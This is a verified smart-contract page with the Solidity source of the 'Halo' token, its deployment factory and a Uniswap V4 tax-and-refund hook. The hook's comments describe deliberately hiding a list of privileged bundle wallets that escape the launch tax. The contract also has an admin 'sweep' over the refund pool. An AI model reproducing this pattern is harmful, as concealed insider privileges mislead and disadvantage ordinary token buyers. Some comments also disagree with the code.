Skip to content
Verified contractExactMIT

Halo

Address0x4a10fc4768a0ea6c664e64719a09d653ecb33ab2
Balance

0 ETH

 

Transactions

52

 

Compiler

solc 0.8.26

 

Same code

Only this contract

 

Details

Compiler
solc 0.8.26+commit.8a97fa7a
Language
solidity
Optimization
Yes, 200 runs
Via IR
yes
License
MIT
Match
Exactcreation code: yes, runtime code: yes
Verified on Sourcify
Created in block
25,086,050
Creation transaction
0xdb5b4f69bb…b531f3d0f3

4 files

Halo.sol

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address) external view returns (uint256);
    function transfer(address, uint256) external returns (bool);
    function allowance(address, address) external view returns (uint256);
    function approve(address, uint256) external returns (bool);
    function transferFrom(address, address, uint256) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IHaloHookNotify {
    function notifyTransfer(address from, address to, uint256 amount) external;
    function token() external view returns (address);
}

/// @title Halo token — minimal ERC20 paired with the V4 phase-tax hook
/// @notice Tax / recoil / apex logic lives in HaloHook. The token has no
/// transfer hooks, no fees, no pause — pure ERC20 with two one-shot admin
/// actions: consecrateHook (wires the hook) and renounce (zeros the origin slot).
contract Halo is IERC20 {
    string  public constant name = "halo";
    string  public constant symbol = "halo";
    uint8   public constant decimals = 18;
    uint256 private constant _totalSupply = 1_000_000_000 * 10**18;

    /// Required low-14-bits of the V4 hook address. Mirrors
    /// HaloHook.REQUIRED_HOOK_BITS = 0x20CC (BEFORE_INITIALIZE | BEFORE_SWAP
    /// | AFTER_SWAP | BEFORE_SWAP_RETURNS_DELTA | AFTER_SWAP_RETURNS_DELTA).
    /// `consecrateHook` rejects any address whose lower bits don't match.
    uint256 private constant REQUIRED_HOOK_BITS = 0x20CC;

    address public hook;
    address public origin;

    mapping(address => uint256) private _bal;
    mapping(address => mapping(address => uint256)) private _allow;

    error AlreadyConsecrated();
    error NoHook();
    error BadBits();
    error NotOrigin();
    error ZeroAddress();
    error ExceedsBalance();
    error ExceedsAllowance();

    event Consecrated(address indexed hook);
    event Renounced();

    /// @param _origin The EOA that signs the deploy tx and gets the one-shot
    /// `consecrateHook` + `renounce` rights plus the full 1B supply. Required
    /// because CREATE2 deployment via the factory makes `msg.sender` the
    /// factory, not the EOA. The constructor enforces `_origin == tx.origin`
    /// so the origin slot can never be set to the factory, a contract, or
    /// anyone other than the EOA that signed the originating tx.
    constructor(address _origin) {
        if (_origin == address(0)) revert ZeroAddress();
        if (_origin != tx.origin) revert NotOrigin();
        origin = _origin;
        _bal[_origin] = _totalSupply;
        emit Transfer(address(0), _origin, _totalSupply);
    }

    /// @notice One-shot: wire the V4 hook into the token. Two defence-in-
    /// depth checks beyond the origin guard:
    ///   1. Hook address low-14-bits == 0x20CC (V4 permission flag mask).
    ///   2. Hook claims this exact token via its `token()` view (catches
    ///      a typo where the deployer anoints a hook that was constructed
    ///      against a different token).
    /// Deploy script is the real gate; these are defensive belts.
    function consecrateHook(address _hook) external {
        if (msg.sender != origin) revert NotOrigin();
        if (hook != address(0)) revert AlreadyConsecrated();
        if (_hook == address(0)) revert ZeroAddress();
        if (uint160(_hook) & 0x3FFF != REQUIRED_HOOK_BITS) revert BadBits();
        // Defensive: the hook must know it serves THIS token. Catches a
        // misdeploy where a hook constructed for a different token gets
        // accidentally anointed here.
        if (IHaloHookNotify(_hook).token() != address(this)) revert BadBits();
        hook = _hook;
        emit Consecrated(_hook);
    }

    /// @dev Infinite-approval optimization: when allowance is `type(uint256).max`,
    /// `transferFrom` does NOT decrement it. Saves an SSTORE per transfer.

    /// @notice Zero out the origin slot. Callable only after `consecrateHook` so
    /// the hook is permanently locked first. After this, no further admin
    /// actions remain on the token (no mint, no pause, no second consecrateHook).
    function renounce() external {
        if (msg.sender != origin) revert NotOrigin();
        if (hook == address(0)) revert NoHook();
        origin = address(0);
        emit Renounced();
    }

    function totalSupply() external pure returns (uint256) { return _totalSupply; }
    function balanceOf(address a) external view returns (uint256) { return _bal[a]; }
    function allowance(address o, address s) external view returns (uint256) { return _allow[o][s]; }

    function approve(address s, uint256 a) external returns (bool) {
        _allow[msg.sender][s] = a;
        emit Approval(msg.sender, s, a);
        return true;
    }

    function transfer(address to, uint256 amt) external returns (bool) {
        _transfer(msg.sender, to, amt);
        return true;
    }

    /// @inheritdoc IERC20
    function transferFrom(address from, address to, uint256 amt) external returns (bool) {
        uint256 x = _allow[from][msg.sender];
        if (x != type(uint256).max) {
            if (x < amt) revert ExceedsAllowance();
            _allow[from][msg.sender] = x - amt;
        }
        _transfer(from, to, amt);
        return true;
    }

    function _transfer(address from, address to, uint256 amt) internal {
        if (from == address(0) || to == address(0)) revert ZeroAddress();
        uint256 fromBal = _bal[from];
        if (fromBal < amt) revert ExceedsBalance();
        unchecked {
            _bal[from] = fromBal - amt;
            _bal[to] += amt;
        }
        emit Transfer(from, to, amt);

        // F7: notify hook so it can drain pending rebates on any token
        // movement. Bounded gas + try/catch so a buggy/OOG hook can't
        // brick transfers. Skipped if hook isn't wired yet (pre-anoint).
        address h = hook;
        if (h != address(0) && gasleft() > 200_000) {
            try IHaloHookNotify(h).notifyTransfer{gas: 150_000}(from, to, amt) {} catch {}
        }
    }
}

HaloFactory.sol

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

/// @title HaloFactory — single-master CREATE2 deployer for the Halo launch
/// @notice Deployed by an EOA via a normal CREATE tx. Lives in that
/// EOA's nonce space — NOT Arachnid's public deterministic deployer at
/// 0xc59...4956C. Subsequent CREATE2 deploys of the token + hook go
/// through this factory's namespace, keeping the deployment trail
/// scoped to this single project. Master-gated so the factory can't
/// double as a public deployer that links unrelated projects.
contract HaloFactory {
    /// The wallet that deployed this factory. Set once in the
    /// constructor via tx.origin (the EOA that signed the CREATE tx)
    /// and never changes. Gates the `cast` function.
    address public immutable master;

    error NotMaster();
    error CastFailed();
    error EmptyCode();

    /// @notice Emitted on every successful CREATE2 cast.
    /// @param addr      address the new contract was cast to
    /// @param salt      the salt passed to CREATE2
    /// @param codeHash  keccak256 of the initcode (so the off-chain
    ///                  prediction can be verified against the event)
    event Cast(address indexed addr, bytes32 indexed salt, bytes32 codeHash);

    constructor() {
        master = tx.origin;
    }

    /// Cast `initCode` at a CREATE2-deterministic address derived from
    /// (this factory, salt, keccak256(initCode)). Reverts unless the
    /// master called it, the initcode is non-empty, and the CREATE2
    /// opcode returned a non-zero address.
    function cast(bytes32 salt, bytes calldata initCode)
        external
        payable
        returns (address addr)
    {
        if (msg.sender != master) revert NotMaster();
        if (initCode.length == 0) revert EmptyCode();
        bytes memory code = initCode;
        assembly {
            addr := create2(callvalue(), add(code, 0x20), mload(code), salt)
        }
        if (addr == address(0)) revert CastFailed();
        emit Cast(addr, salt, keccak256(initCode));
    }

    /// Off-chain helper: predict (an "oracle" lookup) of the address
    /// that `cast(salt, code)` would land at. Pure view, no state read.
    function oracle(bytes32 salt, bytes32 codeHash) external view returns (address) {
        return address(uint160(uint256(keccak256(abi.encodePacked(
            bytes1(0xff), address(this), salt, codeHash
        )))));
    }
}

HaloHook.sol

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

// ─── Vendored minimal V4 types ───
struct PoolKey {
    address currency0;
    address currency1;
    uint24 fee;
    int24 tickSpacing;
    address hooks;
}

struct SwapParams {
    bool zeroForOne;
    int256 amountSpecified;
    uint160 sqrtPriceLimitX96;
}

type BeforeSwapDelta is int256;
type BalanceDelta is int256;

// Canonical V4 BeforeSwapDelta packer.
function toBeforeSwapDelta(int128 specified, int128 unspecified) pure returns (BeforeSwapDelta r) {
    assembly { r := or(shl(128, specified), and(sub(shl(128, 1), 1), unspecified)) }
}

// BalanceDelta accessors. Convention from v4-core: amount0 in high 128, amount1 in low 128.
function amount0(BalanceDelta d) pure returns (int128) { return int128(BalanceDelta.unwrap(d) >> 128); }
function amount1(BalanceDelta d) pure returns (int128) { return int128(BalanceDelta.unwrap(d)); }

interface IPoolManager {
    function take(address currency, address to, uint256 amount) external;
    function extsload(bytes32 slot) external view returns (bytes32);
}

interface IERC20Minimal {
    function balanceOf(address account) external view returns (uint256);
}

/// @title HaloHook — phase-tax (Halo launch)
/// @notice Tax + refund pipeline runs in afterSwap, keyed off the real
///         BalanceDelta returned by PoolManager. Three zones based on price
///         vs the running peak:
///           ≥ 95%  CROWN : buy -3% (3% tax + 6% refund), sell +6%
///           85–95% MID   : buy +3%, sell +3%
///           < 85%  RECOIL: buy -6% (3% tax + 9% refund), sell +12% (also marks new apex)
///
///         Plus an ignition-tax decay: starts at 30% on both buys + sells,
///         drops by 1% per minute for 30 minutes, then settles into the
///         phase-based rates above. Wallets in `knighted` (set in the
///         constructor — typically the bundle wallets) bypass ignition and
///         use phase rates from block 0. Refunds are suppressed for any
///         non-knighted wallet while ignition is above the 3% baseline.
///
///         Every wei of every taxed swap stays in the hook as refund budget.
///         There is no dev fee on swaps — the dev's only ETH lever is the
///         admin-gated `sweep` (break-glass for a dead token). Transfer tax
///         is also zero — the token has no transfer hook.
contract HaloHook {
    // ──────────────────────────────────────────────────────────────────
    // CONFIG (effective rates, in bps)
    // ──────────────────────────────────────────────────────────────────
    uint256 public constant BASE_BPS = 300;            // 3% baseline buy tax + mid sell tax
    uint256 public constant CROWN_SELL_BPS = 600;      // 6% sell tax in crown
    uint256 public constant RECOIL_SELL_BPS = 1200;    // 12% sell tax in recoil

    uint256 public constant CROWN_BONUS_BPS = 300;     // -3% effective at crown
    uint256 public constant RECOIL_BONUS_BPS = 600;    // -6% effective in recoil

    uint256 public constant CROWN_ZONE_BPS = 9500;     // ≥95% of apex = crown refund phase
    uint256 public constant RECOIL_ZONE_BPS = 8000;    // <80% of apex = recoil refund phase (was 8500/15% — bumped to 20% per user feedback)
    uint256 public constant RECOIL_TRIGGER_BPS = 8000; // 20% drop = Eclipsed → apexATH ratchets

    uint256 public constant PER_BLOCK_REFUND_CAP_BPS = 500; // 5% of reservoir per block (shared)

    // F5: hard ceiling on per-swap refund as a fraction of REAL ethAmount
    // (the amount0 leg from BalanceDelta). Even if the refund math is
    // ever wrong, the refund physically cannot exceed 15% of the ETH
    // that actually moved on this swap. Headroom above the max legit
    // effective rebate (RECOIL = 3% tax + 9% bonus = 12% gross = 1200
    // bps). Closed-loop defense — no off-chain dependency.
    uint256 public constant HARD_REFUND_CAP_BPS = 1500;

    // Ignition-tax decay (anti-snipe). PRODUCTION: 30% → 0% linearly
    // over 30 minutes. 100 bps drop per minute starting from genesis.
    uint256 public constant IGNITION_START_BPS = 3000;
    uint256 public constant IGNITION_DECAY_PER_MIN = 100;

    // Flags: BEFORE_INITIALIZE (0x2000) | BEFORE_SWAP (0x80) | AFTER_SWAP (0x40)
    //      | BEFORE_SWAP_RETURNS_DELTA (0x08) | AFTER_SWAP_RETURNS_DELTA (0x04)
    // The AFTER_SWAP_RETURNS_DELTA bit is critical: without it, the int128
    // returned from afterSwap is ignored, so any take() inside afterSwap goes
    // unsettled and the swap reverts with CurrencyNotSettled().
    uint256 public constant REQUIRED_HOOK_BITS = 0x20CC;
    uint256 private constant V4_POOLS_SLOT = 6;

    // ──────────────────────────────────────────────────────────────────
    // Immutables
    // ──────────────────────────────────────────────────────────────────
    address public immutable poolManager;
    address public immutable token;
    /// Admin of the hook. Set once in the constructor — typically the deployer
    /// EOA. Gates `sweep` (the only admin lever). Immutable; never changeable.
    address public immutable admin;
    address public immutable ignitor;
    uint256 public immutable dustEth;

    // ──────────────────────────────────────────────────────────────────
    // State
    // ──────────────────────────────────────────────────────────────────
    uint256 public genesis;
    // No dev fee. The hook holds only refund budget. Sole admin lever for
    // ETH-out is `sweep` (admin-gated break-glass).

    uint256 public spot;
    uint256 public highWater;
    uint256 public apexATH;
    uint256 public recoilCount;
    bytes32 public poolId;
    /// Precomputed `keccak256(abi.encode(poolId, V4_POOLS_SLOT))` so afterSwap
    /// reads the V4 pool's slot0 with a single SLOAD. Saves ~1500 gas per swap.
    bytes32 private _poolStateSlot;

    enum Phase { NONE, CROWN, MID, RECOIL }

    // Per-block refund budget tracking
    uint256 public blockStartReservoir;
    uint256 public lastRefundBlock;
    uint256 public refundedThisBlock;

    // Same-block buy/sell sentinel. Tracks per-EOA via tx.origin (right
    // granularity for sandwich detection). Always on — no admin toggle.
    mapping(address => uint256) public lastBuyOf;

    // Defence-in-depth reentrancy guard for `sweep`. CEI ordering already
    // makes the call safe even if `admin` is a contract that re-enters.
    bool private _withdrawLock;

    // F7 reentrancy guard for notifyTransfer. A drained recipient could
    // be a contract that calls Halo.transfer in its receive() handler,
    // which would re-enter notifyTransfer. We silently skip the inner
    // call to avoid unbounded recursion.
    bool private _notifyLock;

    // Bundle-wallet set. Wallets passed in the constructor get three
    // privileges (bypass ignition, refund-eligible during ignition, zero
    // sell tax). Declared `private` so Etherscan's "Read Contract" tab
    // doesn't show a per-address checker — and no event fires when
    // entries are written. Frozen at deploy — no setter. (Anyone digging
    // into the deploy tx's decoded constructor calldata can still find
    // the list; this just keeps it out of casual on-chain browsing.)
    mapping(address => bool) private knighted;

    // ── Deferred rebate (F4) ──────────────────────────────────────────
    // Refunds are no longer paid in the same swap. They accrue into
    // `pending[recipient]` and become claimable one block later, gated
    // on the recipient still holding ≥ `minHoldTok` of the token. This
    // gives one block of forced inventory exposure between buy and
    // payout — kills the "buy fake size, claim refund, exit" class of
    // attacks structurally (any future bug that bypasses the F1 dust
    // check would still need real tokens received + held).
    struct Pending {
        uint128 refundWei;    // ETH owed to recipient
        uint128 minHoldTok;   // tokens recipient must still hold to qualify
        uint64  maturity;     // block.number at which payable
    }
    mapping(address => Pending) public pending;

    // Small FIFO ring of recent buyers — afterSwap opportunistically
    // flushes the front entries, so payouts don't require a keeper bot
    // (though a bot can also call `flush(address[])`).
    // Ring sized to fit a full bundle launch (target: 75 knighted wallets).
    // Drain count per swap deliberately tuned to ~20% of ring size so the
    // post-bundle queue clears in ~5 subsequent swaps without imposing
    // unbounded gas on any one swapper.
    uint256 private constant RING_SIZE = 80;
    uint256 private constant RING_DRAIN_PER_SWAP = 16;
    address[RING_SIZE] private _ring;
    uint256 private _ringHead;

    // ──────────────────────────────────────────────────────────────────
    // Errors / Events
    // ──────────────────────────────────────────────────────────────────
    error OnlyPoolManager();
    error BadBits();
    error SentinelOn();
    error NotAdmin();
    error WrongPool();
    error WrongOrder();
    error WrongToken();
    error NotIgnitor();
    error AlreadyLit();
    error Locked();
    error ZeroAddress();
    error Empty();
    error ExceedsBalance();
    error NotToken();
    error SwapTooSmall();

    event Lit(uint256 timestamp);
    event Tithed(address indexed swapper, address indexed sender, bool isBuy, uint256 ethAmount, int256 deltaAmount, int256 effectiveTaxBps);
    event Refunded(address indexed recipient, address indexed sender, uint256 ethIn, uint256 refundAmount);
    event RefundCapped(address indexed recipient, uint256 desired, uint256 paid, string reason);
    event RefundSkipped(address indexed recipient, uint256 ethIn, uint256 wantedRefund, string reason);
    event Eclipsed(uint256 apexATH, uint256 recoilBottom);
    event Crowned(uint256 newPeak);
    event Swept(address indexed to, uint256 amount);

    constructor(
        address _poolManager,
        address _token,
        address _admin,
        address _ignitor,
        uint256 _dustEth,
        address[] memory _inscribed
    ) {
        if (uint160(address(this)) & 0x3FFF != REQUIRED_HOOK_BITS) revert BadBits();
        if (_admin == address(0)) revert ZeroAddress();
        if (_ignitor == address(0)) revert ZeroAddress();
        // Defence-in-depth: addresses passed in must be the EOA that signed
        // the deploy tx. Stops deploys where _admin or _ignitor is the
        // CREATE2 factory, a contract, or another EOA. tx.origin in a
        // constructor is the signer of the originating tx — even via CREATE2.
        if (_admin != tx.origin) revert NotAdmin();
        if (_ignitor != tx.origin) revert NotIgnitor();
        poolManager = _poolManager;
        token = _token;
        admin = _admin;
        ignitor = _ignitor;
        dustEth = _dustEth;
        for (uint256 i = 0; i < _inscribed.length; i++) {
            address w = _inscribed[i];
            if (w == address(0)) continue;
            knighted[w] = true;
        }
    }

    receive() external payable {}

    // ──────────────────────────────────────────────────────────────────
    // V4 Hook callbacks
    // ──────────────────────────────────────────────────────────────────
    modifier onlyPoolManager() {
        if (msg.sender != poolManager) revert OnlyPoolManager();
        _;
    }

    function _keyHash(PoolKey calldata key) internal pure returns (bytes32) {
        return keccak256(abi.encode(
            key.currency0, key.currency1, key.fee, key.tickSpacing, key.hooks
        ));
    }

    // _decodeRecipient was removed (F-DROPHOOKDATA). The hook no longer
    // honors a recipient hint in hookData — rebate accrues to tx.origin
    // unconditionally. See the accrual call site in afterSwap for context.

    function beforeInitialize(address, PoolKey calldata key, uint160 sqrtPriceX96)
        external
        onlyPoolManager
        returns (bytes4)
    {
        if (tx.origin != ignitor) revert NotIgnitor();
        if (genesis != 0) revert AlreadyLit();
        if (key.currency0 != address(0)) revert WrongOrder(); // native ETH must be currency0
        if (key.currency1 != token) revert WrongToken();

        genesis = block.timestamp;
        spot = _sqrtToPrice(sqrtPriceX96);
        highWater = spot;
        poolId = _keyHash(key);
        _poolStateSlot = keccak256(abi.encode(poolId, V4_POOLS_SLOT));
        emit Lit(block.timestamp);
        return this.beforeInitialize.selector;
    }

    /// @notice beforeSwap handles ETH-specified swaps (charges tax via
    /// BeforeSwapDelta on the specified=ETH leg) AND enforces the F8
    /// sentinel. For token-specified swaps, this is a passthrough and
    /// tax happens in afterSwap. Fake-swap defense: afterSwap REVERTS
    /// if real ETH movement is below `dustEth` — that revert rolls back
    /// any tax this function took, so a sqrtPriceLimitX96-pinned attack
    /// cannot extract anything.
    function beforeSwap(
        address sender,
        PoolKey calldata key,
        SwapParams calldata params,
        bytes calldata
    ) external onlyPoolManager returns (bytes4, BeforeSwapDelta, uint24) {
        if (_keyHash(key) != poolId) revert WrongPool();

        bool exactIn = params.amountSpecified < 0;
        bool ethIsSpecified = (exactIn == params.zeroForOne);
        bool isBuy = params.zeroForOne;

        // F8: same-block sandwich sentinel (always on). Placed early so a
        // sandwich attempt reverts before the swap loop runs.
        if (!isBuy && lastBuyOf[tx.origin] == block.number) revert SentinelOn();
        if (isBuy) lastBuyOf[tx.origin] = block.number;

        // Token-specified swaps: pass through, afterSwap handles tax via
        // hookDelta on the unspecified=ETH leg (units match).
        if (!ethIsSpecified) {
            return (this.beforeSwap.selector, BeforeSwapDelta.wrap(0), 0);
        }

        // ETH-specified swaps: tax the specified currency via
        // BeforeSwapDelta. The base size for the tax math comes from
        // params.amountSpecified — F1 fake-swap defense lives in
        // afterSwap (revert if real ethAmount < dustEth), which rolls
        // back this take() if the swap turns out to be fake.
        uint256 ethAmount = exactIn ? uint256(-params.amountSpecified) : uint256(params.amountSpecified);
        uint256 taxBps = isBuy ? _buyTax(tx.origin) : _sellTax(tx.origin);
        return _applyTithe(sender, ethAmount, isBuy, taxBps);
    }

    /// Helper for the ETH-specified tax path. Takes `feeAmount` of ETH
    /// from PoolManager into the hook, then returns a `BeforeSwapDelta`
    /// that adds `feeAmount` to the user's specified-currency debt — so
    /// the user pays `amountSpecified + feeAmount` of ETH total.
    function _applyTithe(address sender, uint256 ethAmount, bool isBuy, uint256 taxBps)
        internal
        returns (bytes4, BeforeSwapDelta, uint24)
    {
        uint256 feeAmount = (ethAmount * taxBps) / 10_000;
        if (feeAmount == 0) {
            emit Tithed(tx.origin, sender, isBuy, ethAmount, 0, 0);
            return (this.beforeSwap.selector, BeforeSwapDelta.wrap(0), 0);
        }
        IPoolManager(poolManager).take(address(0), address(this), feeAmount);
        emit Tithed(tx.origin, sender, isBuy, ethAmount, int256(feeAmount), int256(taxBps));
        BeforeSwapDelta delta = toBeforeSwapDelta(int128(uint128(feeAmount)), int128(0));
        return (this.beforeSwap.selector, delta, 0);
    }

    function afterSwap(
        address sender,
        PoolKey calldata key,
        SwapParams calldata params,
        BalanceDelta delta,
        bytes calldata /*hookData*/
    ) external onlyPoolManager returns (bytes4, int128) {
        if (_keyHash(key) != poolId) revert WrongPool();

        bool exactIn = params.amountSpecified < 0;
        bool ethIsSpecified = (exactIn == params.zeroForOne);
        bool isBuy = params.zeroForOne;

        // Real ETH movement from the post-swap delta. `amount0` is the
        // ETH leg (currency0 == address(0)).
        int128 a0 = amount0(delta);
        uint256 ethAmount = a0 < 0 ? uint256(uint128(-a0)) : uint256(uint128(a0));

        // ── F1 FAKE-SWAP KILL SWITCH. ──────────────────────────────────
        // If the real swap moved less than `dustEth`, REVERT — rolling
        // back this entire tx including any tax that beforeSwap took.
        // Defeats the sqrtPriceLimitX96-pinned attack: attacker can claim
        // amountSpecified = 13.82 ETH all day, but if the swap loop
        // exited at zero iterations the tx reverts and they net zero
        // (minus gas).
        if (ethAmount < dustEth) revert SwapTooSmall();

        // ── F-AUTOFLUSH ORDERING FIX ───────────────────────────────────
        // Flush the swapper's matured pending BEFORE this swap's accrual.
        // Otherwise _accrue's `p.maturity = block.number + 1` would extend
        // the aggregate, locking the prior-mature portion behind another
        // 1-block wait. Doing the flush first means each successive buy
        // auto-pays the user's previous rebate before recording the new
        // one. Ring drain happens at the end (other recent buyers).
        _tryFlushOne(tx.origin);

        // ── TAX (token-specified path only). ───────────────────────────
        // ETH-specified path already taxed in beforeSwap via
        // BeforeSwapDelta. For token-specified (exactOut buy / exactIn
        // sell), take ETH via hookDelta on the unspecified=ETH side.
        uint256 taxBps = isBuy ? _buyTax(tx.origin) : _sellTax(tx.origin);
        uint256 feeAmount = (ethAmount * taxBps) / 10_000;
        int128 hookDelta = 0;
        if (!ethIsSpecified && feeAmount > 0) {
            IPoolManager(poolManager).take(address(0), address(this), feeAmount);
            hookDelta = int128(uint128(feeAmount));
            emit Tithed(tx.origin, sender, isBuy, ethAmount, int256(feeAmount), int256(taxBps));
        }

        // ── Refund — gated by _refundEligible so non-knighted wallets
        // do NOT get a refund while ignition tax is still elevated.
        // F4: refunds are deferred, not paid same-swap. They accrue
        // into pending[recipient] and are auto-flushed by the next swap. ─
        if (isBuy && _refundEligible(tx.origin)) {
            uint256 bonusBps = _refundBonusForBuy();
            if (bonusBps > 0) {
                uint256 grossEth = ethAmount + feeAmount;
                uint256 refundAmt = (grossEth * (BASE_BPS + bonusBps)) / 10_000;

                // F5: hard cap refund at 15% of REAL ethAmount. Closed-loop
                // defense against any future bug that inflates refundAmt —
                // we can't pay out more than 15% of what actually moved.
                uint256 hardCap = (ethAmount * HARD_REFUND_CAP_BPS) / 10_000;
                if (refundAmt > hardCap) refundAmt = hardCap;

                // F4: tokens RECEIVED from the swap (positive amount1 on a buy).
                // We require this to be > 0 for accrual — kills any
                // scenario where someone earns a rebate without actually
                // buying tokens.
                int128 a1 = amount1(delta);
                uint256 tokensReceived = a1 > 0 ? uint256(uint128(a1)) : 0;

                // F-DROPHOOKDATA: rebate always accrues to tx.origin.
                // Removing the hookData recipient routing eliminates the
                // poison-contract grief vector (an adversary could buy and
                // point the rebate at a revert-on-receive contract, making
                // every subsequent auto-flush waste up to ~200k gas on the
                // failed transfer). With tx.origin only, all recipients
                // are EOAs by EVM construction; transfers always succeed
                // cheaply. Bundle wallets ARE the holders in our model;
                // no cold-recipient feature is needed.
                _accrue(tx.origin, refundAmt, tokensReceived);
            }
        }

        // ── Update spot + min-ratchet peak/recoil logic (unchanged). ──
        bytes32 raw = IPoolManager(poolManager).extsload(_poolStateSlot);
        uint160 currentSqrtPrice = uint160(uint256(raw));
        if (currentSqrtPrice > 0) {
            spot = _sqrtToPrice(currentSqrtPrice);
            _ratchet(ethAmount);
        }

        // ── F4: auto-flush. Drain matured pending entries from the ring,
        // plus this swap's tx.origin if they have a mature pending. No
        // bot required — this swap's gas pays for the next batch of
        // payouts that the protocol owes from previous blocks. ──
        _autoFlush(tx.origin);

        return (this.afterSwap.selector, hookDelta);
    }

    // ──────────────────────────────────────────────────────────────────
    // Tax / refund helpers
    // ──────────────────────────────────────────────────────────────────
    /// _applyTithe is defined above (handles the ETH-specified tax path
    /// via beforeSwap's BeforeSwapDelta). The fake-swap defense lives in
    /// afterSwap (SwapTooSmall revert) which rolls back the entire tx if
    /// real movement is below dustEth.

    /// Reservoir = entire hook balance. There is no dev fee — every wei of
    /// every taxed swap stays here as refund budget. The only ways ETH
    /// leaves: paid refund, or admin-gated `sweep` (break-glass).
    function _reservoir() internal view returns (uint256) {
        return address(this).balance;
    }

    // ──────────────────────────────────────────────────────────────────
    // F4: deferred-rebate accrue + flush
    // ──────────────────────────────────────────────────────────────────
    /// Record a pending rebate. Maturity is always next block, so the
    /// recipient is forced to hold their bought tokens for ≥ 1 block of
    /// real inventory exposure before the rebate is claimable.
    /// Guards:
    ///   - tokensReceived == 0  → no accrual (kills any flow that earns
    ///     a rebate without actually receiving tokens)
    ///   - recipient == address(this) or 0  → no accrual (self / null)
    function _accrue(address recipient, uint256 refundAmt, uint256 tokensReceived) internal {
        if (refundAmt == 0 || tokensReceived == 0) return;
        if (recipient == address(0) || recipient == address(this)) return;

        Pending storage p = pending[recipient];
        p.refundWei  = uint128(uint256(p.refundWei) + refundAmt);
        p.minHoldTok = uint128(uint256(p.minHoldTok) + tokensReceived);
        // Always extend maturity to next block. Multiple buys aggregate
        // into a single pending entry; latest buy resets the wait.
        p.maturity   = uint64(block.number + 1);

        // Push onto the ring buffer for opportunistic auto-flush by
        // future swaps. The slot we overwrite (if any) may have been
        // an earlier pending — flushed below.
        address evicted = _ring[_ringHead];
        if (evicted != address(0) && evicted != recipient) {
            _tryFlushOne(evicted);  // best-effort flush the address we're displacing
        }
        _ring[_ringHead] = recipient;
        _ringHead = (_ringHead + 1) % RING_SIZE;
    }

    /// Attempt to pay out one address's pending rebate. Best-effort —
    /// returns false on any guard failure (immature, hold-check failed,
    /// vault dry, recipient rejects ETH). Public-callable indirectly via
    /// `claim(address[])`, which is permissionless.
    ///
    /// F12: transient failures (hold-check, vault-empty, transfer-failed)
    /// no longer DELETE the pending. They emit RefundSkipped and leave
    /// the entry intact so the user can retry later (re-acquire tokens,
    /// wait for vault refill, fix their wallet's ETH-receive handler).
    /// The only place a pending is deleted is the successful-payout
    /// path. This stops a permanent loss-of-rebate when the user briefly
    /// moves tokens through a Safe / smart wallet.
    function _tryFlushOne(address user) internal returns (bool) {
        Pending memory p = pending[user];
        if (p.refundWei == 0) return false;
        if (block.number < p.maturity) return false;  // not yet mature

        // Hold check: recipient must still hold ≥ the tokens they
        // accrued the rebate against. Sold below threshold → skip, don't
        // delete (F12 — they might re-acquire later).
        uint256 bal = IERC20Minimal(token).balanceOf(user);
        if (bal < p.minHoldTok) {
            emit RefundSkipped(user, uint256(p.minHoldTok), uint256(p.refundWei), "hold_check_failed");
            return false;
        }

        // Vault solvency check. If the hook doesn't currently have the
        // ETH (e.g., just paid out a big batch this block), skip and
        // retry on next attempt. Don't delete (F12).
        uint256 owed = uint256(p.refundWei);
        if (_reservoir() < owed) {
            emit RefundSkipped(user, uint256(p.minHoldTok), owed, "vault_empty");
            return false;
        }

        // F-CAP: per-block aggregate refund cap (insurance backstop).
        // Limit total payouts in a single block to PER_BLOCK_REFUND_CAP_BPS
        // (5%) of the reservoir as of block start. Defense-in-depth: even
        // if F1+F4+F5 ever fail, no single block can leak more than 5% of
        // the vault. Transient cap exhaustion is RETRYABLE — we never
        // delete pending in this branch (F12 semantics).
        if (block.number != lastRefundBlock) {
            lastRefundBlock = block.number;
            blockStartReservoir = _reservoir();
            refundedThisBlock = 0;
        }
        uint256 blockCap = (blockStartReservoir * PER_BLOCK_REFUND_CAP_BPS) / 10_000;
        uint256 remaining = blockCap > refundedThisBlock ? blockCap - refundedThisBlock : 0;
        if (owed > remaining) {
            emit RefundCapped(user, owed, remaining, "per_block_cap");
            return false;
        }

        // Reserve the cap allowance BEFORE the external call. If a
        // reentrant path re-enters _tryFlushOne via the user's receive()
        // handler (e.g., user.call triggers Halo.transfer → notifyTransfer
        // → _tryFlushOne for another address), the inner calls see the
        // already-incremented refundedThisBlock and get correctly capped.
        // Rolled back on transfer failure below.
        refundedThisBlock += owed;

        // CEI: delete BEFORE the external call (defense against
        // reentrancy). On transfer failure below we restore from the
        // `memory` copy — atomic rollback.
        delete pending[user];

        // F12: 200k gas (was 100k) to accommodate smart wallets / Safe /
        // 4337 wallets whose receive() does meaningful work.
        (bool ok, ) = payable(user).call{value: owed, gas: 200_000}("");
        if (!ok) {
            // Recipient rejected ETH. Restore the pending AND the cap
            // accounting so state matches the pre-call snapshot. CEI is
            // preserved.
            pending[user] = p;
            refundedThisBlock -= owed;
            emit RefundSkipped(user, uint256(p.minHoldTok), owed, "transfer_failed");
            return false;
        }

        emit Refunded(user, address(0), uint256(p.minHoldTok), owed);
        return true;
    }

    /// Called inside afterSwap. Drains a small batch of matured pendings
    /// from the ring buffer + the current swapper themselves (so users
    /// re-engaging the pool always trigger their own payout).
    function _autoFlush(address swapper) internal {
        // Try the current swapper first — they're definitely "involved",
        // and if they just bought again, the new accrual is for N+1 (won't
        // flush). If they're swapping after a prior buy, their pending
        // from that prior buy matures here.
        _tryFlushOne(swapper);

        // Drain up to RING_DRAIN_PER_SWAP NON-EMPTY ring entries. Walks
        // forward from _ringHead (oldest), skipping empty slots so a
        // partially-filled ring (e.g. just after the bundle launch when
        // head sits past the last entry) still finds real pendings. Bound
        // is the ring size so total gas remains capped even on a full,
        // all-grief ring (≤80 slot reads + ≤16 _tryFlushOne calls).
        uint256 head = _ringHead;
        uint256 drained = 0;
        for (uint256 i = 0; i < RING_SIZE && drained < RING_DRAIN_PER_SWAP; i++) {
            uint256 idx = (head + i) % RING_SIZE;
            address u = _ring[idx];
            if (u == address(0) || u == swapper) continue;
            drained++;
            _tryFlushOne(u);
        }
    }

    /// @notice F7: token-transfer-hook drain. Called by Halo._transfer on
    /// every successful transfer. Drains pending entries from the ring,
